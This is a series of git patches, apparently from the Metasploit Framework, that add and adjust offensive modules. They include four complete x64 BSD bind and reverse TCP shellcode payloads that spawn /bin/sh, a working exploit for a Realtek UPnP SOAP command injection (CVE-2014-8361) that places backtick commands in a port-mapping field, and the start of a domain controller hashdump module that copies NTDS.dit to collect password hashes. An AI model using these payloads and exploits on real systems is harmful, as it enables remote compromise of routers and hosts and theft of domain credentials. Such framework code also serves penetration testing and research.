file. + # + # @yieldparam account [Metasploit::Framework::NTDS::Account] an AD user account + # @return [void] does not return a value + def each_account + raw_batch_data = pull_batch + until raw_batch_data.nil? + batch = raw_batch_data.dup + while batch.present? + raw_data = batch.slice!(0,ACCOUNT_SIZE) + # Make sure our data isn't all Null-bytes + if raw_data.match(/[^\x00]/) + account = Metasploit::Framework::NTDS::Account.new(raw_data) + yield account + end + end + raw_batch_data = pull_batch + end + channel.close + end + + private + + def pull_batch + if channel.cid.nil? + reopen_channel + end + begin + raw_batch_data = channel.read(BATCH_SIZE) + rescue EOFError + raw_batch_data = nil + end + raw_batch_data + end + + def reopen_channel + @channel = client.priv.ntds_parse(file_path) + end + + end + end + end +end \ No newline at end of file diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index 65f2b34e82..f79349d570 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -103,7 +103,7 @@ class Priv < Extension if channel_id.nil? raise Exception, "We did not get a channel back!" end - channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client, channel_id, "priv_ntds", CHANNEL_FLAG_SYNCHRONOUS) + channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "priv_ntds", CHANNEL_FLAG_SYNCHRONOUS) end # From 5ae06310b6810370a961c844af35c8303fd084a8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 30 Apr 2015 18:59:44 -0500 Subject: [PATCH 0043/1013] Do some option handling --- modules/exploits/multi/browser/autopwn.rb | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index ba227899d2..4fdf5b0912 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -39,6 +39,29 @@ class Metasploit3 < Msf::Exploit::Remote ] ], 'DefaultTarget' => 0)) + + register_advanced_options(get_payload_options, self.class) + + deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') + end + + def setup + if datastore['PAYLOAD'] != 'windows/meterpreter/reverse_tcp' + msg = "\"set payload\" is disabled: Instead of using \"set payload\", please set PAYLOAD_[platform] " + msg << "to set a platform-specific payload, and set PAYLOAD_[platform]_LPORT " + msg << "to set a platform-specific LPORT." + raise RuntimeError, msg + end + super + end + + def get_payload_options + opts = [] + DEFAULT_PAYLOADS.each_pair do |platform, payload_info| + opts << OptString.new("PAYLOAD_#{platform.upcase}", [true, "Payload for #{platform} browser exploits", payload_info['payload'] ]) + opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) + end + opts end def on_request_exploit(cli, request, target_info) From 08b5f71f998477d309e873fe22aafed3c6ca8bef Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 30 Apr 2015 19:09:08 -0500 Subject: [PATCH 0044/1013] More options --- modules/exploits/multi/browser/autopwn.rb | 24 +++++++++-------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 4fdf5b0912..61c987bb6d 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -25,22 +25,15 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ java linux osx solaris win android firefox }, 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", - 'Targets' => - [ - [ 'Automatic', {} ], - [ - 'OSX Target', - { - :os_name => 'Mac OS X', - 'Rop' => :msvcrt, - 'Pivot' => 0x77c15ed5, # xchg eax, esp; ret - 'Align' => 0x77c4d801 # add esp, 0x2c; ret - } - ] - ], + 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0)) - register_advanced_options(get_payload_options, self.class) + register_advanced_options(get_advanced_options, self.class) + + register_options( + [ + OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection', 'list'], 'WebServer']) + ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') end @@ -55,12 +48,13 @@ class Metasploit3 < Msf::Exploit::Remote super end - def get_payload_options + def get_advanced_options opts = [] DEFAULT_PAYLOADS.each_pair do |platform, payload_info| opts << OptString.new("PAYLOAD_#{platform.upcase}", [true, "Payload for #{platform} browser exploits", payload_info['payload'] ]) opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) end + opts end From 2bbae6b9c27c9f6b2e03badf8e7faa9a38974618 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 1 May 2015 11:24:23 -0500 Subject: [PATCH 0045/1013] add #to_s to ntds account added to_s method to the NTDS account for easy output MSP-12357 --- lib/metasploit/framework/ntds/account.rb | 53 +++++++++++++++++++++++- 1 file changed, 51 insertions(+), 2 deletions(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index cefeca15e7..499ea42a65 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -91,8 +91,8 @@ module Metasploit @logon_count = get_int(data) @nt_history_count = get_int(data) @lm_history_count = get_int(data) - @expiry_data = get_string(data,30) - @logon_data = get_string(data,30) + @expiry_date = get_string(data,30) + @logon_date = get_string(data,30) @logon_time = get_string(data,30) @pass_date = get_string(data,30) @pass_time = get_string(data,30) @@ -103,6 +103,35 @@ module Metasploit @sid = data end + # @return [String] String representation of the account data + def to_s + < Date: Sat, 2 May 2015 20:50:22 +0200 Subject: [PATCH 0046/1013] new x64 bsd shellcodes (bind/reverse) ipv4/6. ipv4 shells are smaller than the existing one. --- .../singles/bsd/x64/shell_bind_ipv6_tcp.rb | 84 +++++++++++++++++ .../singles/bsd/x64/shell_bind_tcp_small.rb | 83 +++++++++++++++++ .../singles/bsd/x64/shell_reverse_ipv6_tcp.rb | 90 +++++++++++++++++++ .../bsd/x64/shell_reverse_tcp_small.rb | 78 ++++++++++++++++ 4 files changed, 335 insertions(+) create mode 100644 modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb create mode 100644 modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb create mode 100644 modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb create mode 100644 modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb new file mode 100644 index 0000000000..ce5aa4d830 --- /dev/null +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Command Shell, Bind TCP Inline (IPv6)', + 'Description' => 'Listen for a connection and spawn a command shell over IPv6', + 'Author' => 'Balazs Bucsay @xoreipeip ', + 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_ipv6_bind_tcp.asm.c'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 20, 'n' ], + }, + 'Payload' => + "\x6a\x61" +# pushq $0x61 # + "\x58" +# pop %rax # + "\x99" +# cltd # + "\x6a\x1c" +# pushq $0x1c # + "\x5f" +# pop %rdi # + "\x6a\x01" +# pushq $0x1 # + "\x5e" +# pop %rsi # + "\x0f\x05" +# syscall # + "\x48\x97" +# xchg %rax,%rdi # + "\x52" +# push %rdx # + "\x52" +# push %rdx # + "\x52" +# push %rdx # + "\x68\x00\x1c\x11\x5c" +# pushq $0x5c111c00 # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x6a\x1c" +# pushq $0x1c # + "\x5a" +# pop %rdx # + "\x04\x4c" +# add $0x4c,%al # + "\x0f\x05" +# syscall # + "\x48\x31\xf6" +# xor %rsi,%rsi # + "\x6a\x6a" +# pushq $0x6a # + "\x58" +# pop %rax # + "\x0f\x05" +# syscall # + "\x99" +# cltd # + "\x04\x1e" +# add $0x1e,%al # + "\x0f\x05" +# syscall # + "\x48\x89\xc7" +# mov %rax,%rdi # + "\x6a\x5a" +# pushq $0x5a # + "\x58" +# pop %rax # + "\x0f\x05" +# syscall # + "\xff\xc6" +# inc %esi # + "\x04\x5a" +# add $0x5a,%al # + "\x0f\x05" +# syscall # + "\xff\xc6" +# inc %esi # + "\x04\x59" +# add $0x59,%al # + "\x0f\x05" +# syscall # + "\x52" +# push %rdx # + "\x48\xbf\x2f\x2f\x62" +# mov "//b" # + "\x69\x6e\x2f\x73\x68" +# mov "in/sh",%rdi # + "\x57" +# push %rdi # + "\x48\x89\xe7" +# mov %rsp,%rdi # + "\x52" +# push %rdx # + "\x57" +# push %rdi # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x04\x39" +# add $0x39,%al # + "\x0f\x05" # syscall # + } + )) + end + +end diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb new file mode 100644 index 0000000000..afe41f1e11 --- /dev/null +++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb @@ -0,0 +1,83 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Command Shell, Bind TCP Inline', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'Balazs Bucsay @xoreipeip ', + 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_bind_tcp.asm.c'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 18, 'n' ], + }, + 'Payload' => + "\x6a\x61" +# pushq $0x61 # + "\x58" +# pop %rax # + "\x99" +# cltd # + "\x6a\x02" +# pushq $0x2 # + "\x5f" +# pop %rdi # + "\x6a\x01" +# pushq $0x1 # + "\x5e" +# pop %rsi # + "\x0f\x05" +# syscall # + "\x48\x97" +# xchg %rax,%rdi # + "\x52" +# push %rdx # + "\x68\x00\x02\x11\x5c" +# pushq $0x5c110200 # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x6a\x10" +# pushq $0x10 # + "\x5a" +# pop %rdx # + "\x04\x66" +# add $0x66,%al # + "\x0f\x05" +# syscall # + "\x48\x31\xf6" +# xor %rsi,%rsi # + "\x6a\x6a" +# pushq $0x6a # + "\x58" +# pop %rax # + "\x0f\x05" +# syscall # + "\x99" +# cltd # + "\x04\x1e" +# add $0x1e,%al # + "\x0f\x05" +# syscall # + "\x48\x89\xc7" +# mov %rax,%rdi # + "\x6a\x5a" +# pushq $0x5a # + "\x58" +# pop %rax # + "\x0f\x05" +# syscall # + "\xff\xc6" +# inc %esi # + "\x04\x5a" +# add $0x5a,%al # + "\x0f\x05" +# syscall # + "\xff\xc6" +# inc %esi # + "\x04\x59" +# add $0x59,%al # + "\x0f\x05" +# syscall # + "\x52" +# push %rdx # + "\x48\xbf\x2f\x2f" +# mov "//" # + "\x62\x69\x6e\x2f" +# "bin/sh" # + "\x73\x68" +# mov $0x68732f6e69622f2f,%rdi # + "\x57" +# push %rdi # + "\x48\x89\xe7" +# mov %rsp,%rdi # + "\x52" +# push %rdx # + "\x57" +# push %rdi # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x04\x39" +# add $0x39,%al # + "\x0f\x05" # syscall # + } + )) + end + +end diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb new file mode 100644 index 0000000000..02887dc3f2 --- /dev/null +++ b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Command Shell, Reverse TCP Inline (IPv6)', + 'Description' => 'Connect back to attacker and spawn a command shell over IPv6', + 'Author' => 'Balazs Bucsay @xoreipeip ', + 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_ipv6_reverse_tcp.asm.c'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ 85, 'ADDR6' ], + 'LPORT' => [ 79, 'n' ], + 'SCOPEID' => [ 101, 'V' ] + }, + 'Payload' => + "\x6a\x61" +# pushq $0x61 # + "\x58" +# pop %rax # + "\x99" +# cltd # + "\x6a\x1c" +# pushq $0x1c # + "\x5f" +# pop %rdi # + "\x6a\x01" +# pushq $0x1 # + "\x5e" +# pop %rsi # + "\x0f\x05" +# syscall # + "\x48\x97" +# xchg %rax,%rdi # + "\x04\x3e" +# add $0x3e,%al # + "\x0f\x05" +# syscall # + "\xff\xc6" +# inc %esi # + "\x04\x59" +# add $0x59,%al # + "\x0f\x05" +# syscall # + "\xff\xce" +# dec %esi # + "\xff\xce" +# dec %esi # + "\x04\x58" +# add $0x58,%al # + "\x0f\x05" +# syscall # + "\xe9\x23\x00\x00\x00" +# jmpq # + # back: + "\x5e" +# pop %rsi # + "\x6a\x1c" +# pushq $0x1c # + "\x5a" +# pop %rdx # + "\x66\x83\xc0\x62" +# add $0x62,%ax # + "\x0f\x05" +# syscall # + "\x99" +# cltd # + "\x52" +# push %rdx # + "\x48\xbf\x2f\x2f\x62" +# mov "//b" # + "\x69\x6e\x2f\x73\x68" +# "in/sh",%rdi # + "\x57" +# push %rdi # + "\x48\x89\xe7" +# mov %rsp,%rdi # + "\x52" +# push %rdx # + "\x57" +# push %rdi # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x04\x3b" +# add $0x3b,%al # + "\x0f\x05" +# syscall # + # forth: + "\xe8\xd8\xff\xff\xff" +# callq # + # sockaddr_in6 + "\x00\x1c\x11\x5c" +# AF_INET6+port # + "\x00\x00\x00\x00" +# no-one-cares # + "\x00\x00\x00\x00" +# IPv6- # + "\x00\x00\x00\x00" +# addr- # + "\x00\x00\x00\x00" +# in- # + "\x00\x00\x00\x01" +# 16 bytes # + "\x00\x00\x00\x00" # Scope ID # + } + )) + register_options([ + OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0]) + ]) + end + +end diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb new file mode 100644 index 0000000000..1641309826 --- /dev/null +++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Bsd + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'BSD x64 Command Shell, Reverse TCP Inline', + 'Description' => 'Connect back to attacker and spawn a command shell', + 'Author' => 'Balazs Bucsay @xoreipeip ', + 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/x86_64_bsd_reverse_tcp.asm.c'], + 'License' => MSF_LICENSE, + 'Platform' => 'bsd', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShellUnix, + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ 39, 'ADDR' ], + 'LPORT' => [ 37, 'n' ], + }, + 'Payload' => + "\x6a\x61" +# pushq $0x61 # + "\x58" +# pop %rax # + "\x99" +# cltd # + "\x6a\x02" +# pushq $0x2 # + "\x5f" +# pop %rdi # + "\x6a\x01" +# pushq $0x1 # + "\x5e" +# pop %rsi # + "\x0f\x05" +# syscall # + "\x48\x97" +# xchg %rax,%rdi # + "\x04\x58" +# add $0x58,%al # + "\x0f\x05" +# syscall # + "\xff\xc6" +# inc %esi # + "\x04\x59" +# add $0x59,%al # + "\x0f\x05" +# syscall # + "\xff\xce" +# dec %esi # + "\xff\xce" +# dec %esi # + "\x04\x58" +# add $0x58,%al # + "\x0f\x05" +# syscall # + "\x52" +# push %rdx # + "\x48\xbb\x00\x02\x11" +# mov ... # + "\x5c\x7f\x00\x00\x01" +# mov $0x100007f5c110200,%rbx # + "\x53" +# push %rbx # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x6a\x10" +# pushq $0x10 # + "\x5a" +# pop %rdx # + "\x66\x83\xc0\x62" +# add $0x62,%ax # + "\x0f\x05" +# syscall # + "\x99" +# cltd # + "\x52" +# push %rdx # + "\x48\xbf\x2f\x2f\x62" +# mov "//b" # + "\x69\x6e\x2f\x73\x68" +# "in/sh", %rdi # + "\x57" +# push %rdi # + "\x48\x89\xe7" +# mov %rsp,%rdi # + "\x52" +# push %rdx # + "\x57" +# push %rdi # + "\x48\x89\xe6" +# mov %rsp,%rsi # + "\x04\x3b" +# add $0x3b,%al # + "\x0f\x05" # syscall # + } + )) + end + +end From 0b580acfb4aa0a6dbbff0d12a503f965712a5a16 Mon Sep 17 00:00:00 2001 From: Balazs Bucsay Date: Sat, 2 May 2015 21:16:50 +0200 Subject: [PATCH 0047/1013] \t removed --- modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb | 2 +- modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb index ce5aa4d830..2738f294ab 100644 --- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb @@ -69,7 +69,7 @@ module Metasploit3 "\x0f\x05" +# syscall # "\x52" +# push %rdx # "\x48\xbf\x2f\x2f\x62" +# mov "//b" # - "\x69\x6e\x2f\x73\x68" +# mov "in/sh",%rdi # + "\x69\x6e\x2f\x73\x68" +# mov "in/sh",%rdi # "\x57" +# push %rdi # "\x48\x89\xe7" +# mov %rsp,%rdi # "\x52" +# push %rdx # diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb index 02887dc3f2..7a44baa7e7 100644 --- a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb @@ -53,7 +53,7 @@ module Metasploit3 "\x04\x58" +# add $0x58,%al # "\x0f\x05" +# syscall # "\xe9\x23\x00\x00\x00" +# jmpq # - # back: + # back: "\x5e" +# pop %rsi # "\x6a\x1c" +# pushq $0x1c # "\x5a" +# pop %rdx # @@ -72,7 +72,7 @@ module Metasploit3 "\x0f\x05" +# syscall # # forth: "\xe8\xd8\xff\xff\xff" +# callq # - # sockaddr_in6 + # sockaddr_in6 "\x00\x1c\x11\x5c" +# AF_INET6+port # "\x00\x00\x00\x00" +# no-one-cares # "\x00\x00\x00\x00" +# IPv6- # From 6fbce56a522bc1d07cb087c155d1c77db6079b57 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Sun, 3 May 2015 18:09:22 +0200 Subject: [PATCH 0048/1013] realtek upnp command injection --- .../http/realtek_miniigd_upnp_exec_noauth.rb | 144 ++++++++++++++++++ 1 file changed, 144 insertions(+) create mode 100644 modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb diff --git a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb new file mode 100644 index 0000000000..b9cdf2cdb1 --- /dev/null +++ b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution', + 'Description' => %q{ + Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command + injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, + there is no output for the executed command. + This module has been tested in emulation on a Trendnet TEW-731BR router. + }, + 'Author' => + [ + 'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-8361'], + ['ZDI', '15-155'], + ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055'] + ], + 'DisclosureDate' => 'Apr 24 2015', + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE + } + ], + ], + 'DefaultTarget' => 0 + )) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + + register_options( + [ + Opt::RPORT(52869) # port of UPnP SOAP webinterface + ], self.class) + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/picsdesc.xml' + }) + if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the device ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 50 + ) + end + + def execute_command(cmd, opts) + uri = '/wanipcn.xml' + + new_portmapping_descr = rand_text_alpha(8) + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 + + # We need something like this: + #cmd = "echo -en \\\x7f\\\x45\\\x4c\\\x46\\\x01 > /var/tmp/pwdn" + cmd = cmd.gsub("\\\\", "\\\\\\\\\\") + + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd = "" + data_cmd << "" + data_cmd << "" + data_cmd << "" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{new_internal_port}" + data_cmd << "" + data_cmd << "" + data_cmd << "" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end From 53043dcbbcea27dc95238c0fa607852ddef839af Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Sun, 3 May 2015 18:14:51 +0200 Subject: [PATCH 0049/1013] make msftidy happy --- .../exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb index b9cdf2cdb1..2bc2cd6d25 100644 --- a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution', 'Description' => %q{ - Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command - injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, - there is no output for the executed command. + Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command + injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, + there is no output for the executed command. This module has been tested in emulation on a Trendnet TEW-731BR router. }, 'Author' => From c7e05448e74addec52906a58866e4accf2e856e4 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 4 May 2015 12:55:21 +0200 Subject: [PATCH 0050/1013] various MIPS vs MIPSBE fixes --- modules/exploits/linux/http/dlink_upnp_exec_noauth.rb | 2 +- modules/exploits/linux/http/fritzbox_echo_exec.rb | 2 +- modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 1f9b293979..fc89dd0e39 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ], ], diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index 698afb9fba..277b464beb 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ], ], diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb index eacb27174a..d65f048c33 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'MIPS Big Endian', # unknown if there are big endian devices out there { 'Platform' => 'linux', - 'Arch' => ARCH_MIPS + 'Arch' => ARCH_MIPSBE } ] ], From e0c64038a7be81332bebcdee55a56bb0de3d59f5 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 4 May 2015 15:07:27 -0500 Subject: [PATCH 0051/1013] start new ddomain hashdump post module module checks for all preconditions so far including that Domain Services are running, that we are Admin, that we have bypassed uac and that it is a supported version of windows. MSP-12358 --- .../gather/credentials/domain_hashdump.rb | 78 +++++++++++++++++++ 1 file changed, 78 insertions(+) create mode 100644 modules/post/windows/gather/credentials/domain_hashdump.rb diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb new file mode 100644 index 0000000000..116857fb01 --- /dev/null +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Registry + include Msf::Auxiliary::Report + include Msf::Post::Windows::Services + include Msf::Post::Windows::Priv + include Msf::Post::Windows::ShadowCopy + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Domain Controller Hashdump', + 'Description' => %q{ + This module attempts to copy the NTDS.dit database from a live Domain Controller + and then parse out all of the User Accounts. It saves all of the captured password + hashes, including historical ones. + }, + 'License' => MSF_LICENSE, + 'Author' => ['theLightCosine'], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + def run + if preconditions_met? + copy_database_file + end + end + + 